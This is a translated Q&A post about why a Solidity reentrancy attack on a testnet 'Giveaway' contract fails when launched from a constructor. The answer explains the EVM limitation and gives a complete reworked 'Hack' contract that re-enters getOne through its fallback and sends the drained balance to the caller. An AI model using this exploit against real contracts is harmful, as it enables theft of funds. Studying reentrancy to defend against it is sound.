为什么我的重入攻击在构造函数中执行时失败?



我正在尝试使用以下漏洞重新创建重入攻击: https://ropsten.etherscan.io/address/0xe350eef4aab5a55d4efaa2aa6f7d7420057eee2a#code

以及下面的开发合同: https://ropsten.etherscan.io/address/0x7e95eed55994d8796c007af68b454fb639e9bd93#code

如果我没记错的话,使用msg.sender.call功能时不一定需要指定汽油津贴。无论如何,我的开发合同上的回退功能根本不会触发,那么为什么会发生这种情况呢?

根据对 Solidity 问题 583 的评论,由于EVM 的限制,您的代码无法正确执行

当调用合约的构造函数时,合约的代码尚未存储在其地址上。因此,当它收到以太币时,没有回退函数可以在其地址触发。这可以通过在Hack协定中的单独函数调用test.getOne()函数来解决。

此外,您的Hack合约可以细化,如下所示:

pragma solidity ^0.4.23;
contract Giveaway {
function register(address toRegister) public;
function getOne() public;
}
contract Hack {
/**
* It is actually better to store the variables
* in 128-bit segments as the EVM is optimized in
* handling 256-bit storage spaces and will pack
* the two variables below in a single slot.
*/
uint128 times = 3;
uint128 current = 0;
Giveaway test = Giveaway(0xe350EEf4aAb5a55d4efaa2Aa6f7D7420057EEe2A);
// This function will execute correctly as it is not a constructor
function hackGiveaway() public {
test.register(address(this));
test.getOne();
drainThis();
}
// Left as is
function() public payable{
if(current<times){
current++;
test.getOne();
}
}
/**
* Internal functions do not change the context of 
* msg.sender compared to public/external functions.
*/
function drainThis() internal {
msg.sender.transfer(address(this).balance);
}
}

最新更新